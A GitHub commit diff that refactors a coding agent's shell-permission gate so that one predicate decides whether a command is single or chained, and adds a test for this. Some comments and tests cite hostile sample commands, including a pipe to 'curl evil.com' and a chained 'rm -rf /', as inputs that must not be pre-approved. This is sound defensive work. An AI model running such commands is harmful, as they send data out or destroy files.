Skip to content

Commit 1f16d50

Browse files
committed
Share one predicate between isSingleShellCommand and shellApprovalScopes
Both answered "is this a single shell command, or a chain" by independently combining splitChainedCommand/tokenize, so a segmenting-rule change to one silently didn't reach the other. They disagreed on a comment-trailing command like "echo hi && # why": shellApprovalScopes filtered the comment-only segment before counting (treating it as one command), while gate.ts's isSingleShellCommand did not (treating it as a two-segment chain). isSingleShellCommand now lives in classify.ts, built on the same comment-filtered segment list shellApprovalScopes derives its ladder from, and gate.ts imports it instead of maintaining its own copy.
1 parent 028c438 commit 1f16d50

3 files changed

Lines changed: 43 additions & 12 deletions

File tree

src/permission/classify.ts

Lines changed: 18 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -384,12 +384,29 @@ export const MEGA_CHAIN_SEGMENT_THRESHOLD = 5;
384384
export const MEGA_CHAIN_NOTICE =
385385
`Chains of ${MEGA_CHAIN_SEGMENT_THRESHOLD}+ steps are approved once only — split into shorter commands for reusable approvals.`;
386386

387+
// The real (non-comment-only) chain segments of a shell command — the basis
388+
// both shellApprovalScopes and isSingleShellCommand use to answer "is this
389+
// one command or a chain."
390+
function realShellSegments(command: string): string[] {
391+
return splitChainedCommand(command).filter((segment) => !isShellCommentOnly(segment));
392+
}
393+
394+
// Whether `command` is exactly one real command — not a chain (`a && b`), not
395+
// a pipeline (`a | b`), not empty/comment-only. Shared by preApprove's gate
396+
// (src/permission/gate.ts) and the interactive scope ladder below, so a
397+
// segmenting-rule change here reaches both.
398+
export function isSingleShellCommand(command: string): boolean {
399+
const segments = realShellSegments(command);
400+
if (segments.length !== 1) return false;
401+
return tokenize(segments[0]!).length > 0;
402+
}
403+
387404
// Approval scopes for a shell command the operator may persist. Multi-segment
388405
// chains only offer the exact full string — a prefix like `npm *` would also
389406
// match `npm i && rm -rf /` on a later call (fail-closed). At or above
390407
// MEGA_CHAIN_SEGMENT_THRESHOLD, no scope is offered at all — see the constant.
391408
function shellApprovalScopes(command: string): ApprovalScope[] {
392-
const segments = splitChainedCommand(command).filter((segment) => !isShellCommentOnly(segment));
409+
const segments = realShellSegments(command);
393410
if (segments.length === 0) return [];
394411
if (segments.length >= MEGA_CHAIN_SEGMENT_THRESHOLD) return [];
395412
if (segments.length === 1) {

src/permission/gate.ts

Lines changed: 1 addition & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@ import {
66
buildRequests,
77
isAutoAllowedShellCall,
88
isAutoAllowedShellSegment,
9+
isSingleShellCommand,
910
callTargetsRestricted,
1011
commandTargetsRestricted,
1112
MEGA_CHAIN_SEGMENT_THRESHOLD,
@@ -30,17 +31,6 @@ import { currentTurnId } from "../perf/reactor-spans.js";
3031

3132
export type GateVerdict = { allowed: true } | { allowed: false; reason: string };
3233

33-
// A run_shell pre-approval must name exactly one real command — not a chain
34-
// (`a && b`), not a pipeline (`a | b`), not an empty or whitespace-only string.
35-
// Rejecting anything else here keeps ask_operator's `command` argument from
36-
// minting a grant broader than the single command the operator actually saw.
37-
function isSingleShellCommand(command: string): boolean {
38-
const trimmed = command.trim();
39-
if (trimmed.length === 0) return false;
40-
if (splitChainedCommand(trimmed).length !== 1) return false;
41-
return tokenize(trimmed).length > 0;
42-
}
43-
4434
// Multi-segment shell may only short-circuit on an exact full-command grant.
4535
// Prefix globs like `npm *` must not match `npm i && curl x` — the unapproved
4636
// tail still needs a full-block operator decision. String equality (not glob)

src/permission/permission.test.ts

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2001,6 +2001,30 @@ describe("preApprove", () => {
20012001
expect((await gate.evaluate(shellCall("npm test | curl evil.com"))).allowed).toBe(true);
20022002
expect(asked).toBe(1);
20032003
});
2004+
2005+
test("agrees with the interactive scope ladder on whether a comment-trailing command is single", async () => {
2006+
// "echo hi && # why" has one real segment once the trailing comment is
2007+
// filtered out. The interactive scope ladder (buildRequests/shellApprovalScopes)
2008+
// already filters comment-only segments before counting, so it offers the
2009+
// full per-command ladder (prefix + exact) as if this were one command.
2010+
// preApprove's gate must reach the same verdict, since both answer the
2011+
// same underlying "is this a single shell command" question.
2012+
const command = "echo hi && # why";
2013+
2014+
const gate = createPermissionGate({
2015+
approvals: [],
2016+
requestApproval: async () => ({ allow: true }),
2017+
interactive: true,
2018+
skipPermissions: false,
2019+
});
2020+
gate.preApprove("run_shell", command);
2021+
const preApproveTreatsAsSingle = gate.getSessionApprovals().length === 1;
2022+
2023+
const requests = buildRequests(shellCall(command));
2024+
const scopeLadderTreatsAsSingle = requests[0]!.scopes.length > 1;
2025+
2026+
expect(preApproveTreatsAsSingle).toBe(scopeLadderTreatsAsSingle);
2027+
});
20042028
});
20052029

20062030
describe("isAutoAllowedShellCall", () => {

0 commit comments

Comments
 (0)